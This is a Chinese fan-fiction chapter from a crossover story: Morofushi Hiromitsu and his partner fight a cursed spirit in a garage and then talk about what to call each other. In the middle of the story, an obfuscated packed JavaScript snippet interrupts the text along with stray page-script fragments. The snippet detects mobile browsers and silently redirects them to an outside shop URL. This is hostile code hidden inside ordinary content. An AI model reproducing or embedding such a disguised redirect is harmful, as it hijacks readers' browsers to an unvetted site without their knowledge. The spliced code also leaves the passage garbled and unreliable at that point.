诸伏景光正面临两难的选择。
一边是不停留着诞水,似乎马上要冲破车窗探进扭曲肢体的怪物。
一边是……说不定比怪物还恐怖的温热怀抱。
生死关头,人类的求生本能外加一些道不明的缘由,让他毫不犹豫选择了后者。
而五月朝宫将人抱了个满怀后,稍稍用力便撞开早就阡了条缝的车门,带着猫眼青年往后一仰!
“哗啦——!”
玻璃碎裂的脆响与低吼声混在一起,黑发青年却还有心思笑出细碎字节:
“看来前辈没有系安全带是正确的预判呢。”
被拖着逃离狭箱,诸伏景光站稳后没好气地给了青年一个肘击,不轻不重。
椰奶酒还敢笑,他明明是因为分神给这家伙,才忘了系安全带!
呼……但也幸好如此,否则还要浪费时间在这危急时刻。
看着暂时卡在车窗里的怪物,诸伏景光感觉自己的世界观遭到了冲击:
“那是什么?”
鬼?妖怪?丧尸入侵?
五月朝宫并不紧张地回应:“一些情绪的渣滓。”
而且这只看起来不是那么聪明。
没有给他们太多的喘息时间,临到嘴边逃跑的猎物显然激怒了怪物。
将车撕裂出一道口子,被五月朝宫定义为不聪明的怪物终于脱身,张开口器就要扑过来,柏油状的身体猛地拔高,几乎要捅破天顶。
可黑发青年眼都不眨一下,直接在小声惊呼中扯过男人的手臂,让那一击落空。
随后鎏金色淡然瞥去,评估着对方的等级。
按照咒术界那帮人的说法……特级?
不,这个强度也就比昨天收拾掉的咒灵强一些,只是昨天的善于伪装,而今天的不屑于伪装。
这是酒店里跟过来的咒灵。
进入休息室的第一时间,五月朝宫就瞄到了这只咒灵,好大一坨陷在角落里状如自闭,看上去没什么攻击性。
就算触及领地,也只是挪动了一下笨重的身子,就继续蹲墙角,看得五月朝宫以为这是谁饲养的咒灵。
但是没有。
在谈话的间隙里,五月朝宫很快就发现了——这是只无主咒灵。
那么它为何要一直留在那个房间,又为什么要跟着他来到这里,展露出攻击性?
思索仅在瞬间,他便看向自己身侧的人。
猫眼男人早已将情绪深藏,湛蓝色微微眯起,在咒灵刮过的风中未曾有半分恐惧,而是充斥忌惮和考量,十分……
——耀眼。
会是因为苏格兰,还是自己?不过无所谓,反正什么特性的咒灵他都有办法解决。
现在的问题是,苏格兰这真是第一次见到咒灵的人类会有的反应吗?
“我的确是第一次见这种,怪物。”
对于五月朝宫的困惑,诸伏景光斟酌着用词。
“况且害怕也没用吧,虽然子弹对它似乎也没什么效果,但是你——”
被子弹嵌入身体,刺耳嚎叫变得更加暴怒,而猫眼男人则借着空档抬头,将那对金色看进眼里:
“应该有解决的办法?”
为这句话中所带的信息晃神片刻,黑发青年软了语气:
“这还真是……感谢信任,前辈。”
诸伏景光张了张嘴,很想说‘我真不是信你,我是没得选’,便听柔和嗓音再度响起:
“这种东西只有在被盯上或是性命攸关之际才能看到,等级高的话,子弹确实是没办法伤害到它们的。”
有条不絮地科普完毕,五月朝宫盯紧咆哮袭来的咒灵,唇角勾出浅淡笑容:
“不过我有一些诀窍可以对付它们。虽然这一只没有眼睛,会稍稍费些时间。”
他说着,却并未松手,而是借着躲避的姿态将人拉了去,手放到对方的脑后,下一瞬便与怀中身体嵌入相拥。
清冷香气瞬间充盈鼻腔,诸伏景光呼吸一滞,才意识到自己正埋首于青年的颈间。
透过皮肤,他甚至能感受到对方皮肉下血液的走向,生命脉流紧贴着脸颊淌过——
“可以请你闭上眼么,前辈?我说睁开前不要睁开。”
几乎没办法集中注意的情况下,一道类似请求的命令在耳畔炸响。
猫眼青年突然生出叛逆心理:“如果不听你的会怎样?”
五月朝宫:“?”
自己这是,被那天溅满脸血的壮举孽力回馈了?
意识到这个,五月朝宫无奈的同时也升起几分欣喜。
苏格兰竟然还有心情跟他谈这个,看来是真没被吓住。
并不惧怕非人之物,那可真是太好了。
“不听我的,说不定会发生不好的事呢。”他用这样随意的语气作答。
听到这句话,诸伏景光暗叹一声。
果然,五月朝宫那天就是故意作死的,所以这次才反应这么快。
“开始吧。”
在攻击再度袭来前,猫眼男人闭上眼睛,将信任全权递交。
视野步入黑暗后,听觉就变得格外灵敏。
耳边有丝丝缕缕的风略过,接着咆哮声穿透耳膜,诸伏景光反射性拧了下眉,在空气中捕捉到一丝晃动,便觉有什么东西擦着身体飞了出去!
是车。
而与车掉落在地掀起的巨响一同砸下的则是——
“看着我。”
合拢的眼睫轻轻一颤,噪音骤然平息。
一片灿金色里,没有眼球的黑泥怪物蓦地立定,大约是头部的位置转向呢喃的源头,薄膜颤动出疑惑低鸣:
“啊啊啊啊……啊?!”
接收到某种信号,提前覆盖整片区域的黑帐无声收紧,将怪物圈定其中。
第二句紧随其后:
“在意我。”
心脏都要跃出身体,诸伏景光咬紧牙关,手不自觉拽住对方腰间的衣褶,感受到揽着自己的人往前倾过身子——
“而后,爱着我。”
第三句。
一瞬安静。
——接着嘶吼直冲天际!
“啊啊啊啊啊爱!爱……给我,爱啊啊啊!!!”
索求爱意的声音状若癫狂,与此同时有什么东西鼓胀填满,诸伏景光甚至能够感受到空间被挤压。
而在这窒息感逐渐膨大的过程中,有琐碎撞破嘈杂,直逼特级的咒灵终于显露出它的能力。
不同的声音清晰地响彻四面八方,满怀绝望,分明陌生却又那般熟悉,同吼叫混淆着洞穿回忆。
“好黑,谁来救救我——”
“别出来…躲在柜子里藏好……”
“别出来!!!”
尖叫刺痛大脑,笼罩在黑暗中的人猛地一颤,指甲透过衬衫狠狠剜在左边背脊。
浑噩中,诸伏景光只觉手下的触感并不似别处那般平坦,拥着自己的人则身子一顿,接着将手插|入短发发丝间,动作轻缓地揉了揉,凑近的长发扫在他脸侧有些痒:
“不要在意,那都是过去了。”
诸伏景光不知这句话是五月朝宫说给他还是说给自己。
只是回过神才感觉到,那只环在自己腰侧的手不知何时已经松开,而现在是他在贴紧对方。
不想在这场战斗中拖累搭档,猫眼男人尽力沉下情绪,试图屏退那些零碎的呼喊。
可下一刻,怪物的叫喊突然拔至高峰,如同垂死挣扎,有什么碎裂的响声合着更加凄厉的悲鸣一起,循着防备的缝隙蜂拥而上!
“麻美姐姐……”
“好疼啊……我……”
“离开这里,去你该回去的地方……然后……”
“妈妈——!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726428|143987||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
嘈杂一片。
诸伏景光已经分不清这些声音哪些属于曾经,哪些又是他人的幻觉。
而在最后孩童哭喊声爆发的刹那,一直在安抚他的手蓦地滞于脖颈处,紧接着空间内挤压感骤增,勾起往日苦痛的源头轰然炸开!
“砰!”
“……”
腥臭味铺天盖地,却又被冷香吹散消失。
极致的静默下,一声呼唤撕裂了黑暗——
“睁眼。”
于是诸伏景光从拥抱里抽离,睁开了双眼。
黑与红交织的一幕让那对湛蓝久久不能回神。
那是,鎏金中一闪而逝的艳红,以及……
水墨般、不似人间之物的片羽。
仅有一侧的黑羽窸窣抖动着,细小绒毛从视线的边角悄然飘过,再看去便什么都没有了。
*
当拖车把七零八碎的车拖走时,凄惨丰田的主人终于松垮了神经。
幸好,狙击枪包在事后被他背在了身上,暗格里的手|枪也早就别在腰间。
而且虽说是节假日的地下停车场,不知为何并没有人经过,摄像头也没能拍到什么画面,车子的损毁只能认定为被人蓄意报复,而不是被柏油怪物当铅球使造成的结果。
尽管他的搭档身上又蒙了一层谜团,但诸伏景光还要说一句:
太好了,麻烦事又少了一桩。
在保险公司的人一脸‘你是冤大头啊!’的悲悯神色下,猫眼男人说了句不想追究,便和搭档离开了地下停车场。
“可关于这件事,前辈真不想追究么?”
少见地没往攻略对象那边贴去,五月朝宫边走边问。
诸伏景光说不追究是假的:“那些究竟是什么?”
灿金色停下来看着他:“你可以当作是另一面的东西,从人类的负面情绪中诞生。”
“人类的负面情绪?”诸伏景光也停下脚步,思躇片刻道:“你的催眠也适用于它们?”
“是。”
五月朝宫看过去的眼神里带着些考量,“你好像很喜欢探听情报啊,前辈。”
诸伏景光心一紧,表面却不动声色:“因为总要知道差点刺穿我的东西是什么。”
他说着就重新挪动脚步,五月朝宫一愣,旋即郑重道:
“放心,有我在,不会让你受伤的。”
这话实在真诚,却似是另一种试探,让草木皆兵的男人很想呲回去。
只是敏锐察觉到黑发青年并不如平常那般心情愉快,末了,诸伏景光仅是开口问了困扰他几天的事:
“明明你已经知道我的名字了,为什么还要叫前辈?”
“因为没有得到更加亲密的名字。”
他得到了出乎意料的乖巧答复。
“……什么意思?”
鞋跟扣响地面的声音中止,五月朝宫站在原地,望着回头看向自己的男人,神色认真:
“因为没有得到更加亲密的名字,而我也不想要绿川或是绿川君这样有隔阂的叫法,苏格兰又是组织里的人都会称呼的代号——”
“虽然这种酒和你确实很配。”
干冽中勾勒出圆润的烟熏味,醇厚且足够醉人。
这样一种让锐利和绵软保持着绝佳平衡的酒,无疑完美适配眼前的男人,但那却是别人都会叫的代号。
他想要只属于他的。
无论名字亦或是,人。
“所以在得到更加亲密的名字之前,就让我们保持着前辈和后辈的关系好了。”
镜片之下,那对灿金在呼扇的蝶翼下重现又消失,与诸伏景光的心跳一起,短暂共鸣。
而在猫眼男人愣神之际,五月朝宫蜷起指节,将之点在唇边后又舒展开,弯起眉眼:
“当然,如果前辈愿意让我叫你的名,我会很开心的。”